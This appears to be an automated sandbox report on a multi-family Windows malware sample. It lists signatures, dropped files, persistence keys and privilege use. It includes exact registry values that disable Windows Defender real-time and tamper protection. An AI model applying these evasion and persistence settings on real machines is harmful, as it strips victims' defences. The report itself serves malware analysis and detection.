Malware Analysis Report

2024-10-24 19:58

Sample ID 231103-3yz5tsbc3s
Target 3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe
SHA256 3a38b442e5943fc91da9dfc20beba22560217bcfde63e5432220d2fc285a9635
Tags
amadey dcrat glupteba healer redline sectoprat smokeloader dodge kedru livetraffic pixelnew2.0 plost up3 backdoor discovery dropper evasion infostealer loader persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3a38b442e5943fc91da9dfc20beba22560217bcfde63e5432220d2fc285a9635

Threat Level: Known bad

The file 3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe was found to be: Known bad.

Malicious Activity Summary

amadey dcrat glupteba healer redline sectoprat smokeloader dodge kedru livetraffic pixelnew2.0 plost up3 backdoor discovery dropper evasion infostealer loader persistence rat trojan

Glupteba payload

SmokeLoader

Healer

Amadey

SectopRAT

Detects Healer an antivirus disabler dropper

Modifies Windows Defender Real-time Protection settings

SectopRAT payload

RedLine payload

Glupteba

DcRat

RedLine

Modifies Windows Firewall

Downloads MZ/PE file

Stops running service(s)

Checks computer location settings

Windows security modification

Loads dropped DLL

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Checks installed software on the system

Adds Run key to start application

Suspicious use of SetThreadContext

Launches sc.exe

Drops file in Program Files directory

Enumerates physical storage devices

Program crash

Unsigned PE

Suspicious behavior: MapViewOfSection

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of WriteProcessMemory

Runs net.exe

Suspicious use of SetWindowsHookEx

Creates scheduled task(s)

Enumerates system info in registry

Suspicious use of SendNotifyMessage

Checks SCSI registry key(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-03 23:56

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-03 23:56

Reported

2023-11-03 23:58

Platform

win10v2004-20231020-en

Max time kernel

70s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe"

Signatures

Amadey

trojan amadey

DcRat

rat infostealer dcrat
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7137.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\8966.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\kos4.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3F75.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\43CC.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\467D.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1vI31WE5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ni780Ph.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7137.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7B5A.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Broom.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7F14.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\kos4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8966.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
N/A N/A C:\Windows\System32\Conhost.exe N/A
N/A N/A C:\Program Files (x86)\BBuster\BBuster.exe N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\3F75.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1880 set thread context of 4216 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1vI31WE5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\BBuster\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-LL0I2.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-E1Q36.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-6CKO1.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-LRA99.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-MJE00.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-H8NPM.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\is-M6OEK.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File opened for modification C:\Program Files (x86)\BBuster\BBuster.exe C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-LGEB3.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-19925.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-L52I5.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-C4G8P.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-R34A4.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-IIQ4S.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-ERBPJ.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-4D46L.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-97NC9.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-N8EB3.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-LCST2.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File opened for modification C:\Program Files (x86)\BBuster\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-4SUPA.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-2SK8H.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-34KEF.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-22QIQ.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-1I1L8.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-9GN4T.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Online\is-KJLLE.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\is-I27DS.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-T0PP2.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-M9JIN.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Online\is-7QJJU.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Help\is-CLAC2.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-BAE9E.tmp C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\kos4.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7F14.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8966.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
